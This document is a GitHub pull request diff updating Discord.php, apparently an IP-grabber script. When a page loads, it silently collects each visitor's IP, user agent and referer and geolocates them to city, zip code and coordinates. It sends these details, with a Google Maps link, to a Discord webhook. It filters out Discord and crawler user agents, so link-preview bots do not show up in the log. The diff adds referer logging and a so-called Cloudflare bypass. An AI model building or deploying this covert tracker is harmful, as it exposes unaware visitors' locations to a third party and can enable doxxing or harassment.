Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update Discord.php #7

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
145 changes: 83 additions & 62 deletions Discord.php
Original file line number Diff line number Diff line change
Expand Up @@ -4,25 +4,38 @@
Please keep this copyright statement intact
Creator: Jeroenimo02#2380
Publish Date: 19-03-2021
Last Update: 18-03-2022
Last Update: 13-10-2024
APIs Provided By: geoiplookup.io and ip-api.com
*/

//Get the visitor's IP
$IP = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);
// Get the visitor's IP
$IP = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);
$Browser = $_SERVER['HTTP_USER_AGENT'];
$Referer = isset($_SERVER['HTTP_REFERER'])? $_SERVER['HTTP_REFERER'] : 'N/A'; // Coleta do Referer

//Stop the bots from logging
// Stop the bots from logging
if (preg_match('/bot|Discord|robot|curl|spider|crawler|^$/i', $Browser)) {
exit();
}

//YOU CAN SET YOUR TIMEZONE HERE!
// Cloudflare Bypass
if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
// Cloudflare
$IP = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
// CloudFront
$IP = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
// Default fallback
$IP = $_SERVER['REMOTE_ADDR'];
}

// Set timezone
date_default_timezone_set("Europe/Amsterdam");
$Date = date('d/m/Y');
$Time = date('G:i:s');

//Check if IP is a VPN (Is not always correct!)
// Check if IP is a VPN
$Details = json_decode(file_get_contents("http://ip-api.com/json/{$IP}"));
$VPNConn = json_decode(file_get_contents("https://json.geoiplookup.io/{$IP}"));
if ($VPNConn->connection_type === "Corporate") {
Expand All @@ -31,7 +44,7 @@
$VPN = "No";
}

//Set some variables
// Set variables
$Country = $Details->country;
$CountryCode = $Details->countryCode;
$Region = $Details->regionName;
Expand All @@ -40,78 +53,86 @@
$Lat = $Details->lat;
$Lon = $Details->lon;
$WebhookName = $IP;
//Old method of getting a flag picture
//$Flag = "https://www.countryflags.io/{$Details->countryCode}/flat/64.png";
$Details->countryCode = strtolower($Details->countryCode);
$FlagOLD = "https://raw.githubusercontent.com/stevenrskelton/flag-icon/master/png/75/country-4x3/{$Details->countryCode}.png";
$Flag = "https://countryflagsapi.com/png/{$Details->countryCode}";


class Discord
{

//This will run and send as soon as the page loads
public function Visitor()
{
global $IP, $Browser, $Date, $Time, $VPN, $Country, $CountryCode, $Region, $City, $Zip, $Lat, $Lon, $WebhookName, $Flag;
global $IP, $Browser, $Date, $Time, $VPN, $Country, $CountryCode, $Region, $City, $Zip, $Lat, $Lon, $WebhookName, $Flag, $Referer; // Inclui Referer na lista de variáveis globais

//Insert FULL webhook URL here (URL begins with: https://discord.com/api/webhooks/)
$Webhook = "FULLURLHERE";
// Insert FULL webhook URL here (URL begins with: https://discord.com/api/webhooks/)
$Webhook = "YOUR_WEBHOOK_HERE";

$InfoArr = array(
"username" => "$WebhookName",
"avatar_url" => "$Flag",
"embeds" => [array(

"title" => "Visitor From $Country",
"color" => "39423",

"fields" => [array(
"name" => "IP",
"value" => "$IP",
"inline" => true
),
array(
"name" => "VPN?",
"value" => "$VPN",
"inline" => true
"embeds" => array(
array(
"title" => "Visitor From $Country",
"color" => "39423",
"fields" => array(
array(
"name" => "IP",
"value" => "$IP",
"inline" => true
),
array(
"name" => "VPN?",
"value" => "$VPN",
"inline" => true
),
array(
"name" => "Useragent",
"value" => "$Browser"
),
array(
"name" => "Referer",
"value" => "$Referer", // Include the referer
"inline" => true
),
array(
"name" => "Country/CountryCode",
"value" => "$Country/$CountryCode",
"inline" => true
),
array(
"name" => "Region | City | Zip",
"value" => "[$Region | $City | $Zip](https://www.google.com/maps/search/?api=1&query=$Lat,$Lon 'Google Maps Location (+/- 750M Radius)')",
"inline" => true
)
),
array(
"name" => "Useragent",
"value" => "$Browser"
),
array(
"name" => "Country/CountryCode",
"value" => "$Country/$CountryCode",
"inline" => true
),
array(
"name" => "Region | City | Zip",
"value" => "[$Region | $City | $Zip](https://www.google.com/maps/search/?api=1&query=$Lat,$Lon 'Google Maps Location (+/- 750M Radius)')",
"inline" => true
)],

"footer" => array(
"text" => "$Date $Time",
//Alarm-clock icon for the footer. You could also download the image and set the icon_url to the image path
"icon_url" => "https://e7.pngegg.com/pngimages/766/619/png-clipart-emoji-alarm-clocks-alarm-clock-time-emoticon.png"
),
)],
"footer" => array(
"text" => "$Date $Time",
"icon_url" => "https://e7.pngegg.com/pngimages/766/619/png-clipart-emoji-alarm-clocks-alarm-clock-time-emoticon.png"
)
)
)
);

//Some code that sends the info as an embed to Discord
$JSON = json_encode($InfoArr);

$Curl = curl_init($Webhook);
curl_setopt($Curl, CURLOPT_HTTPHEADER, array('Content-type: application/json'));
curl_setopt($Curl, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($Curl, CURLOPT_POSTFIELDS, $JSON);
curl_setopt($Curl, CURLOPT_RETURNTRANSFER, true);

//En voilà
return curl_exec($Curl);
// Call the function to send data
$this->sendData($Webhook, $InfoArr);
}

private function sendData($webhook, $infoArr)
{
$JSON = json_encode($infoArr);
$context = stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => 'Content-Type: application/json',
'content' => $JSON
)
));

// Use file_get_contents() to send the data
return file_get_contents($webhook, false, $context);
}
}

// Create an instance of the Discord class
$discord = new Discord();
// Call the Visitor method
$discord->Visitor();
?>